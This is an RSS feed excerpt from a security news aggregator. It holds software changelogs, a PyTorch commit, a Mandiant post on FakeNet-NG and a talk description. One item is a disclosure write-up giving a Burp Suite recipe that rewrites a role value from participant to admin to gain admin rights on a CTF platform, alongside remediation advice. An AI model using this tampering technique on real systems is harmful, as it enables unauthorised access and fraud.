<li>Fixed hiding overlays during ED3-risk foreground streaming on unknown-viewport terminals leaving the overlay's transient rows in native scrollback. Overlay visibility reductions now bypass the streaming deferral path and rebuild once, so hidden dialog/notification sentinels are scrubbed immediately.</li>
<li>Fixed ED3-risk / unknown-viewport terminals (including WSL fronted by Windows Terminal) keeping the foreground-stream eager-rebuild mode active after the stream had already settled. A later scrolled content shrink or resize-with-append could then bypass the anti-yank deferral and repaint from stale geometry, jumping the viewport or replaying the wrong rows. The eager opt-in now drops immediately when no teardown render is pending, and the one-frame post-checkpoint suffix-suppression path no longer overrides geometry reflow handling.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(robomp): parameterize bot identity in system prompts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597597681" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1933" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1933/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1933">#1933</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.9.2...v15.9.3"><tt>v15.9.2...v15.9.3</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.9.5]]></title>
<description><![CDATA[@oh-my-pi/pi-agent-core
Fixed

Surfaced Anthropic stream failures whose message starts with Output blocked by conten as normal assistant error lifecycle events, so interactive clients render content-filter blocks instead of silently dropping the streaming bubble at agent_end.

@oh-my-pi/pi-coding...]]></description>
<link>https://tsecurity.de/de/3580234/tools/v1595/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580234/tools/v1595/</guid>
<pubDate>Mon, 08 Jun 2026 02:50:56 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-agent-core</h2>
<h3>Fixed</h3>
<ul>
<li>Surfaced Anthropic stream failures whose message starts with <code>Output blocked by conten</code> as normal assistant error lifecycle events, so interactive clients render content-filter blocks instead of silently dropping the streaming bubble at <code>agent_end</code>.</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Added</h3>
<ul>
<li>
<p>Added a persistent error banner pinned above the editor when an assistant turn ends on a provider error (e.g. Anthropic's "Output blocked by content filtering policy"). The transcript <code>Error: …</code> line scrolls away as the conversation grows, so terminal turns that ended on a stream error could pass unnoticed; the banner stays in the fixed region above the input and is cleared when the next turn starts.</p>
</li>
<li>
<p>Added bold, underlined, clickable <code>[Image #N]</code> placeholders in the draft editor and sent user-message bubbles, backed by extension-bearing blob-store sidecar files so terminal <code>file://</code> links open in image viewers.</p>
</li>
<li>
<p>Added the active model identifier (<code>provider/id</code>) to the system prompt's <code>&lt;workstation&gt;</code> block so the agent knows which model it is running as. Gated by the new <code>includeModelInPrompt</code> setting (default on); the base prompt is rebuilt on a mid-session model switch so the surfaced identifier stays current.</p>
</li>
<li>
<p>Added <code>OLLAMA_HOST</code> support for implicit local Ollama discovery when <code>OLLAMA_BASE_URL</code> is unset, so OMP picks up the same host setting used by Ollama.</p>
</li>
<li>
<p>Added <code>OLLAMA_CONTEXT_LENGTH</code> as a positive-integer context-window override for implicit local Ollama discovery, so users can correct OMP context budgeting without writing per-model overrides.</p>
</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed <code>tools.discoveryMode</code> to default to <code>auto</code>, which keeps discovery off for small tool sets and automatically switches to MCP-only tool discovery when more than 40 tools are registered.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed user-message rendering to materialize image links from embedded image blocks when rebuilding chat output, so image placeholders remain clickable after replayed or restored messages</li>
<li>Fixed queued/steering user messages carrying a pasted image rendering out of order — sometimes dropping the user bubble <em>below</em> the very tool output it was sent to steer. <code>EventController.#handleMessageStart</code> awaited async image-link materialization between the user <code>message_start</code> and <code>addMessageToChat</code>; since <code>AgentSession.#emit</code> dispatches TUI listeners fire-and-forget, that mid-handler yield let the next synchronously-handled events (assistant <code>message_start</code>, tool execution start/end) append their components first, scrambling transcript order and live-region block boundaries. The bubble is now appended synchronously, with clickable image links still materialized via the synchronous blob-store fallback.</li>
<li>Fixed tool execution cards to finalize promptly when a turn is abandoned or completed so stale streaming previews and frozen spinner frames no longer keep transcript rows in the live region</li>
<li>Fixed <code>read</code> and <code>search</code> TUI rendering to emit OSC 8 hyperlinks for HTTP URLs, <code>local://</code> resources backed by files, and filesystem search targets, including line-specific links for search match rows.</li>
<li>Fixed aborted streaming assistant messages staying frozen before their red "Operation aborted" label when status rows were appended underneath on ED3-risk terminals.</li>
<li>Fixed <code>omp</code> / <code>omp -c</code> stacking a fresh welcome screen and transcript on top of the previous run's leftover terminal scrollback. The cold-launch transcript render was the only session-load path that did not pass <code>clearTerminalHistory</code>, so the TUI's scrollback-preserving initial paint left the prior run's welcome + conversation above the new one; the cold launch now clears native scrollback before painting, matching every in-process session switch.</li>
<li>Fixed a long streamed assistant reply dropping its earlier lines on ED3-risk terminals (Ghostty/kitty/iTerm2) once it grew past the viewport — the head scrolled off the top and never reached scrollback, so the reply rendered as a ~viewport-tall circular buffer of only its latest lines. <code>AssistantMessageComponent</code> now reports itself as an append-only transcript block and <code>TranscriptContainer</code> surfaces the resulting commit-safe boundary, so the renderer commits the scrolled-off head to native scrollback instead of discarding it (volatile tool previews stay deferred as before).</li>
</ul>
<h3>Security</h3>
<ul>
<li>Blocked OSC 8 hyperlink wrapping for URI targets containing terminal control bytes to avoid rendering malformed control-sequence links</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Changed</h3>
<ul>
<li>Changed terminal resize handling so any width or height change always performs a clean reset + redraw: the renderer now unconditionally clears the viewport and native scrollback (<code>CSI 2 J</code> / <code>CSI 3 J</code>) and replays the full transcript at the new geometry, replacing the previous matrix of conditional viewport-repaint / history-rebuild / deferred-mutation branches. Multiplexer panes still repaint the visible window in place (pane scrollback cannot be erased), but a resize during active ED3-risk foreground streaming now performs the same clean rebuild rather than downgrading to a non-destructive viewport repaint: the terminal already re-wrapped its saved lines at the old width, so the rebuild must erase them (ED 3) instead of leaving the mis-wrapped history on screen. As a deliberate tradeoff this drops the prior no-overflow and confirmed-scrolled guards on resize: a reader scrolled into history snaps back to the bottom and preexisting shell scrollback above the UI is cleared.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed ED3-risk foreground streaming dropping the scrolled-off head of an append-only live block that alone overflows the viewport (a long streamed assistant reply). The live-region pin again committed native scrollback only up to the live-region start, so once the live block grew past the viewport its earlier rows scrolled above the viewport top but were committed nowhere and repainted nowhere — they vanished, leaving the reply looking like a ~viewport-tall circular buffer. The <code>NativeScrollbackLiveRegion</code> seam now also reports an optional append-only <code>getNativeScrollbackCommitSafeEnd</code>, and the pinned commit boundary is the deeper of the sealed start and that append-only end: rows in <code>[liveRegionStart, commitSafeEnd)</code> above the viewport top commit to scrollback, while volatile live blocks (tool previews that collapse) omit the boundary and keep their mutable rows deferred — preserving the pending-box-above-running-box fix.</li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.9.4...v15.9.5"><tt>v15.9.4...v15.9.5</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[trunk/9455d3d34559799d09196341ca545d946610eb2e: Teach min-cut about online softmax prep (#185783)]]></title>
<description><![CDATA[The online softmax preparation pattern computes softmax max and sum as a
multi-output prim. When this prim appears in an AOTAutograd joint graph, the
min-cut partitioner previously did not know that it was a recomputable/fusible
operation like the decomposed amax/sum pattern it replaces. That ske...]]></description>
<link>https://tsecurity.de/de/3580003/downloads/trunk9455d3d34559799d09196341ca545d946610eb2e-teach-min-cut-about-online-softmax-prep-185783/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580003/downloads/trunk9455d3d34559799d09196341ca545d946610eb2e-teach-min-cut-about-online-softmax-prep-185783/</guid>
<pubDate>Sun, 07 Jun 2026 23:01:35 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The online softmax preparation pattern computes softmax max and sum as a<br>
multi-output prim. When this prim appears in an AOTAutograd joint graph, the<br>
min-cut partitioner previously did not know that it was a recomputable/fusible<br>
operation like the decomposed amax/sum pattern it replaces. That skewed the cut<br>
and could make the forward save a full softmax activation instead of the much<br>
smaller max/sum tuple outputs.</p>
<p>Add prims.prepare_softmax_online to the partitioner's recomputable op set. The<br>
existing post-grad placement is still the normal path, but this makes the<br>
partitioner robust if the online softmax preparation is introduced before<br>
partitioning.</p>
<p>I considered relying only on the post-grad pattern placement that originally<br>
avoided the regression, but that leaves the partitioner's cost model wrong for<br>
this prim and makes future joint-graph uses fragile.</p>
<p>Benchmark Results:<br>
A focused AOTAutograd min-cut reproducer that simulates joint-graph online<br>
softmax placement saved 212,992 activation bytes before the fix and 149,504<br>
after the fix, a 29.8% reduction. The old cut saved an extra full<br>
[2, 128, 128] fp16 softmax activation; the new cut saves the small<br>
[2, 128, 1] fp32 max/sum tuple outputs instead.</p>
<p>Test Plan:</p>
<ul>
<li>python test/inductor/test_online_softmax.py -k test_prepare_softmax_after_partitioning</li>
<li>python test/inductor/test_online_softmax.py -k test_prepare_softmax</li>
<li>python ../state/148141/benchmark_partition_saved_bytes.py</li>
<li>lintrunner -a torch/_functorch/partitioners.py test/inductor/test_online_softmax.py</li>
<li>git diff --check --cached</li>
</ul>
<p>Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2885876344" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/148141" data-hovercard-type="issue" data-hovercard-url="/pytorch/pytorch/issues/148141/hovercard" href="https://github.com/pytorch/pytorch/issues/148141">#148141</a><br>
Generated by my agent</p>
<p>Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559870758" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/185783" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/185783/hovercard" href="https://github.com/pytorch/pytorch/pull/185783">#185783</a><br>
Approved by: <a href="https://github.com/shunting314">https://github.com/shunting314</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I Became Admin on a CTF Platform]]></title>
<description><![CDATA[A few weeks ago I was poking around CTF platform. What I found was a pretty embarrassing vulnerability: any registered user could give themselves full admin access without knowing any admin credentials.What Was Actually HappeningWhen you log into the platform, the server sends back your account d...]]></description>
<link>https://tsecurity.de/de/3579534/hacking/i-became-admin-on-a-ctf-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579534/hacking/i-became-admin-on-a-ctf-platform/</guid>
<pubDate>Sun, 07 Jun 2026 16:53:52 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A few weeks ago I was poking around CTF platform. What I found was a pretty embarrassing vulnerability: any registered user could give themselves full admin access without knowing any admin credentials.</p><h3>What Was Actually Happening</h3><p>When you log into the platform, the server sends back your account details including your role. Something like:</p><pre>{<br>  "username": "hamza",<br>  "role": "participant"<br>}</pre><p>This gets saved in browser’s sessionStorage. From that point on, every time you do anything on the platform load a page, submit a form, click a button the browser sends this role back to the server. And the server just... believes it. No verification against the database, no server-side session check, nothing. If your browser says you're an admin, the server treats you like one.</p><p>This is a classic case of <strong>client-side role enforcement </strong>the application is trusting the client to tell it who you are, which is never a good idea.</p><h3>Reproduction</h3><p>To exploit this I used <strong>Burp Suite </strong>to modify web traffic in real time.</p><h3>Setting Up the Match and Replace Rules</h3><p>Burp Suite has a feature called <strong>Match and Replace. T</strong>hink of it like Find &amp; Replace in Word, but it runs on live web traffic automatically. I set up four rules to cover all the places the role string could appear:</p><p><strong>Rule 1 — Response body:</strong></p><p>Field Value Type Response body Match participant Replace admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lb_MtFqcOc1LB7Uc3vQswg.png"></figure><p><strong>Rule 2 — Request body:</strong></p><p>Field Value Type Request body Match participant Replace admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9zFLME9kWDjGrC_7wsxaxw.png"></figure><p><strong>Rule 3 — Response headers:</strong></p><p>Field Value Type Response header Match participant Replace admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M0uBovtJiTPK8Wa6KfqRcA.png"></figure><p><strong>Rule 4 — Request headers:</strong></p><p>Field Value Type Request header Match participant Replace admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ml6980MeoeUs21aVuyeGzg.png"></figure><p>Then the same for request parameters — name and value both:</p><p>End result — all rules active:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UxqZSLg58CynU6kFJ9pHDw.png"></figure><p>Logging In</p><p>With those rules running, I logged in as a normal participant account. The server sends back "role": "participant", Burp silently flips it to "admin" before it hits the browser, the browser saves it, and from that point every request going back to the server carries the admin role.</p><h3>What Happened Next</h3><p>I navigated through the dashboard, profile pages, and challenge pages. Within a few requests the application started rendering the full admin panel.<br>Full challenge management. I could edit or delete any existing room and upload new ones.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zjUUuA_WW6JCygt4WThNEA.png"></figure><h3>The Impact</h3><p>This wasn’t just “oops, you can see an extra menu item.” Admin access on this platform means:</p><ul><li><strong>Full user management</strong> — view, modify, or delete any account on the platform</li><li><strong>Challenge manipulation</strong> — create fake challenges, delete real ones, change scores</li><li><strong>Certificate fraud</strong> — the platform issues certificates for completed challenges. An attacker could issue themselves (or anyone else) a certificate for work they never did. Every certificate the platform has issued now has a question mark over it</li><li><strong>VM control</strong> — admin can start and stop virtual machines for any user, meaning you could kill someone’s active session mid-challenge</li><li><strong>No detection</strong> — because you’re using a legitimate account and only modifying traffic client-side, nothing unusual shows up in server logs</li></ul><h3>Root Cause</h3><p>The application was storing the full user object including the role in sessionStorage and then reading that role back on every subsequent request to make authorization decisions. There was no server-side verification that the role being claimed actually matched what was in the database.</p><p>The fix is straightforward:</p><ol><li><strong>Never read role from client-supplied data.</strong> The server should derive the user’s identity from a secure, signed token (session cookie or JWT), then look up their actual role from the database on every request.</li><li><strong>Enforce access control server-side on every admin endpoint.</strong> If the role check doesn’t exist in your backend code, a frontend check is meaningless.</li><li><strong>Store only an opaque token in the browser.</strong> The client doesn’t need to know what your role is. Give it a random token that means nothing on its own, and let the server do the lookup.</li></ol><h3>Closing Thoughts</h3><p>Broken access control has sat at #1 on the OWASP Top 10 for years, and this is a textbook example of why. It’s not always some sophisticated exploit chain sometimes it’s just the server being too trusting about data it receives from the client.</p><p>The issue was reported responsibly through official VDP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lyC5d-YPztUvoNW2D8EOFg.png"></figure><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c26cb49546a5" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-became-admin-on-a-ctf-platform-c26cb49546a5">I Became Admin on a CTF Platform</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[FakeNet-NG Levels Up: Introducing Interactive HTML-Based Output]]></title>
<description><![CDATA[Written by: Beleswar Prasad Padhi, Tina Johnson, Michael Bailey, Elliot Chernofsky, Blas Kojusner

 
FakeNet-NG is a dynamic network analysis tool that captures network requests and simulates network services to aid in malware research. The FLARE team is committed to maintaining and updating the ...]]></description>
<link>https://tsecurity.de/de/3578866/it-security-nachrichten/fakenet-ng-levels-up-introducing-interactive-html-based-output/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578866/it-security-nachrichten/fakenet-ng-levels-up-introducing-interactive-html-based-output/</guid>
<pubDate>Sun, 07 Jun 2026 08:22:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: <span data-sheets-root="1" data-sheets-userformat='{"2":13057,"3":{"1":0},"11":4,"12":0,"15":"Google Sans","16":8}' data-sheets-value='{"1":2,"2":"Beleswar Prasad Padhi, Tina Johnson, Michael Bailey, Elliot Chernofsky, Blas Kojusner"}'>Beleswar Prasad Padhi, Tina Johnson, Michael Bailey, Elliot Chernofsky, Blas Kojusner</span></p>
<hr>
<p> </p></div>
<div class="block-paragraph_advanced"><p><a href="https://github.com/mandiant/flare-fakenet-ng" rel="noopener" target="_blank"><span>FakeNet-NG</span></a><span> is a dynamic network analysis tool that captures network requests and simulates network services to aid in malware research. The FLARE team is committed to maintaining and updating the tool to improve its capabilities and usability. FakeNet is compatible across platforms and extensively customizable; however, we recognized a need to present captured network data in a more intuitive and user-friendly way to help you quickly identify relevant Network-Based Indicators (NBIs). To address this challenge and further enhance the usability, we extended FakeNet-NG to generate HTML-based output that enables you to view, explore, and share captured network data.</span></p>
<p><span>This feature was implemented by </span><a href="https://github.com/3V3RYONE" rel="noopener" target="_blank"><span>Beleswar Prasad Padhi</span></a><span> as part of a </span><a href="https://summerofcode.withgoogle.com/programs/2023/projects/fRVAltDd" rel="noopener" target="_blank"><span>Google Summer of Code (GSoC)</span></a><span> project that the Mandiant FLARE team mentored in 2023. To learn more about the program and our open-source contributors, check out the </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/flare-tools-google-summer-of-code-2023"><span>introductory post</span></a><span>.</span></p>
<h2><span>Interactive HTML-Based Output</span></h2>
<p><span>FakeNet-NG's new interactive output is backed by an HTML page coupled with inline CSS and Javascript. Figure 1 shows the new HTML-based output and Figure 2 shows FakeNet-NG's existing text-based output.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/fakenet-summer-of-code-fig1.max-1000x1000.png" alt="FakeNet-NG's new HTML-based output">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="gne8u">Figure 1: FakeNet-NG's new HTML-based output</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/fakenet-summer-of-code-fig2d.max-1000x1000.png" alt="FakeNet-NG's text-based output">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="gne8u">Figure 2: FakeNet-NG's text-based output</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>FakeNet-NG generates each report using a </span><a href="https://palletsprojects.com/p/jinja/" rel="noopener" target="_blank"><span>Jinja2</span></a><span> template that it populates with the captured network data. The final report is saved to the current working directory and can be reviewed using your favorite browser. You can also share this file with others to collaboratively analyze the captured network traffic.</span></p>
<p><span>The HTML interface supports selecting, filtering, and copying captured network data. The filtering functionality displays entries that match your search query, as shown in Figure 3.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/fakenet-summer-of-code-fig3b.max-1000x1000.png" alt="Filtered results showing only entries containing search query ‘evil.com'">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="d95cx">Figure 3: Filtered results showing only entries containing search query ‘evil.com'</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>You can copy Markdown-formatted network data by clicking the "Copy" button under the "Actions" column, as shown in Figure 3 to obtain results as shown in Figure 4.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--medium
      
      
        h-c-grid__col
        
        h-c-grid__col--4 h-c-grid__col--offset-4
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/fakenet-summer-of-code-fig4.max-1000x1000.png" alt="Viewing Markdown-formatted network data">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="d95cx">Figure 4: Viewing Markdown-formatted network data</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>You can also copy multiple entries by selecting their corresponding checkboxes and then clicking the "Copy Selected NBIs" button at the top of the page, as shown in Figure 5 and Figure 6.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/fakenet-summer-of-code-fig5a.max-1000x1000.png" alt="Copying multiple entries by selecting corresponding checkboxes">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="d95cx">Figure 5: Copying multiple entries by selecting corresponding checkboxes</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--medium
      
      
        h-c-grid__col
        
        h-c-grid__col--4 h-c-grid__col--offset-4
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/fakenet-summer-of-code-fig6.max-1000x1000.png" alt="Viewing multiple Markdown-formatted entries">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="a1x9h">Figure 6: Viewing multiple Markdown-formatted entries</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h2><span>Design and Implementation</span></h2>
<h3><span>FakeNet-NG Internals</span></h3>
<p><span>FakeNet-NG operates through a modular architecture consisting of three primary components including:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Diverter:</strong><span> This central component intercepts all incoming and outgoing network traffic from the target system. By default, it forwards these packets to the Proxy Listener for further processing.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Proxy Listener:</strong><span> This component sits between the Diverter and the protocol-specific Listeners. It analyzes application layer data to identify the appropriate Listener for each network packet based on factors like port, protocol, and data content.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Protocol-specific Listeners:</strong><span> These specialized Listeners, such as those for HTTP, FTP, and DNS, handle requests specific to their respective protocols and generate appropriate responses to mimic legitimate server behavior.</span></p>
</li>
</ul>
<p><span>This modular design, shown in Figure 7, allows for flexibility and extensibility, enabling the addition of new protocol listeners as needed.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/fakenet-summer-of-code-fig7.max-1000x1000.png" alt="FakeNet-NG's architecture">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="a1x9h">Figure 7: FakeNet-NG's architecture</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>More extensive documentation on FakeNet-NG's internal workings can be found on </span><a href="https://github.com/mandiant/flare-fakenet-ng/tree/master/docs" rel="noopener" target="_blank"><span>GitHub</span></a><span>.</span></p>
<h3><span>Extending FakeNet-NG for NBI Analysis</span></h3>
<p><span>Enabling FakeNET-NG to generate comprehensive and informative reports required extending key components to record, store, and associate network data with the source processes. This included:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Enhancing data storage:</strong><span> The Diverter stores additional information, including process names, process IDs, and relationships between original and proxy-initiated source ports.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Introducing NBI mapping: </strong><span>The Diverter maps network data to source processes, enabling clear attribution of network activity.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Facilitating information exchange:</strong><span> The Proxy Listener relays relevant packet details to the Diverter, ensuring accurate data tracking.</span></p>
</li>
</ul>
<p><span>FakeNet-NG combines the data captured by each component to generate the interactive HTML-based output.</span></p>
<h2><span>Future Work</span></h2>
<p><span>We believe that FakeNet-NG's HTML-based output can be further enhanced to provide even greater value to analysts. One key addition would be a communication graph that visually depicts network behavior, as shown in Figure 8. This common technique is employed by other networking tools to map processes to their associated network requests, with edges linking process nodes to other nodes such as IP addresses or domain names. Adding such a visualization to FakeNet-NG would help give you a clear and immediate understanding of a program's communication patterns.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/fakenet-summer-of-code-fig8.max-1000x1000.png" alt="A prototype communication graph">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="a1x9h">Figure 8: A prototype communication graph</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>Additionally, we are exploring other enhancements including:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Exclude irrelevant network traffic:</strong><span> Filter noise generated by benign Windows services and applications drawing focus to the most relevant network data. See GitHub issue </span><a href="https://github.com/mandiant/flare-fakenet-ng/issues/183" rel="noopener" target="_blank"><span>here</span></a><span>.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Include ICMP traffic in the HTML report: </strong><span>Provide a more comprehensive view of network activity by displaying ICMP-based network data. See GitHub issue </span><a href="https://github.com/mandiant/flare-fakenet-ng/issues/182" rel="noopener" target="_blank"><span>here</span></a><span>.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Add filtering options and preset filters: </strong><span>Offer convenient filtering options as well as include preset filters to exclude common Microsoft network traffic. </span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Improve Markdown formatting:</strong><span> Enhance the usability of exported network data by allowing the user to choose the details that need to be included in the exported Markdown data.</span></p>
</li>
</ul>
<p><span>If you are interested in getting involved in the development of FakeNet-NG, these enhancements in addition to our list of </span><a href="https://github.com/mandiant/flare-fakenet-ng/labels/good%20first%20issue" rel="noopener" target="_blank"><span>good first issues</span></a><span> are a great way to get started.</span></p>
<h2><span>Conclusion</span></h2>
<p><span>FakeNet-NG continues to evolve as a go-to tool for dynamic network analysis in malware research. By adding interactive HTML-based output we hope to enhance its usability by giving you a clear, intuitive, and visually appealing way to navigate and analyze even the most extensive and complex network data captures.</span></p>
<p><span>We encourage you to explore the new HTML-based output and leverage its filtering, selection, and copying capabilities to streamline your dynamic network data analysis. We also welcome feedback and suggestions for further improvements. Please visit </span><a href="https://github.com/mandiant/flare-fakenet-ng" rel="noopener" target="_blank"><span>our Github repository</span></a><span> to download the latest version of FakeNet-NG, contribute to the project, or share your thoughts.</span></p>
<h2><span>Beleswar's Acknowledgements</span></h2>
<p><span>Participating in the Google Summer of Code Program, especially with FLARE, has been an excellent learning experience. This project has given me a deep understanding of network programming and systems programming. GSoC has also taught me to accept mentor feedback and code reviews positively and to work on them diligently. It has also helped me develop important soft skills like communication, time management, task scheduling, and progress tracking.</span></p>
<p><span>I want to express my thanks to FLARE for making the summer experience so smooth. I really appreciate the group kickoff meetings, which allowed us to interact and understand the projects and progress of fellow contributors. I also loved how all the mentors were approachable and always helped me overcome any roadblocks. I'm excited to continue contributing to the project and stay active in the FLARE community.</span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[De-Spotify Yourself - Warum Du von $Streamingdienst weg willst und wie/wohin (gpn24)]]></title>
<description><![CDATA[In diesem Talk behandeln wir Gründe von verschiedenen Musik- und Podcast-Streamingdiensten wegzumigrieren und schauen uns mögliche automatische Unterstützung und Alternativen (am Beispiel Spotify) an.

Im Rahmen meiner Großoffensive mich unabhängig(er) von Big Tech zu machen, musste zuletzt Spoti...]]></description>
<link>https://tsecurity.de/de/3578431/it-security-video/de-spotify-yourself-warum-du-von-streamingdienst-weg-willst-und-wiewohin-gpn24/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578431/it-security-video/de-spotify-yourself-warum-du-von-streamingdienst-weg-willst-und-wiewohin-gpn24/</guid>
<pubDate>Sun, 07 Jun 2026 00:17:03 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In diesem Talk behandeln wir Gründe von verschiedenen Musik- und Podcast-Streamingdiensten wegzumigrieren und schauen uns mögliche automatische Unterstützung und Alternativen (am Beispiel Spotify) an.

Im Rahmen meiner Großoffensive mich unabhängig(er) von Big Tech zu machen, musste zuletzt Spotify dran glauben. 

In diesem Talk erzähle ich Euch zunächst wieso (nein, es ist nicht nur Enshittyfication und Big-Tech böse).
Danach schauen wir uns an welche Alternativen es selfhosted gibt, wie gut ich sie finde, und welche ich jetzt benutze.

Außerdem gibt es einen Git-Link zu den Scripten, die ich dafür geschrieben habe und eine kurze Erklärung wie Ihr Eure Spotify Playlists auf mp3s, die Ihr von physischen Alben, die Ihr besitzt, gezogen habt, mappen könnt :)

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
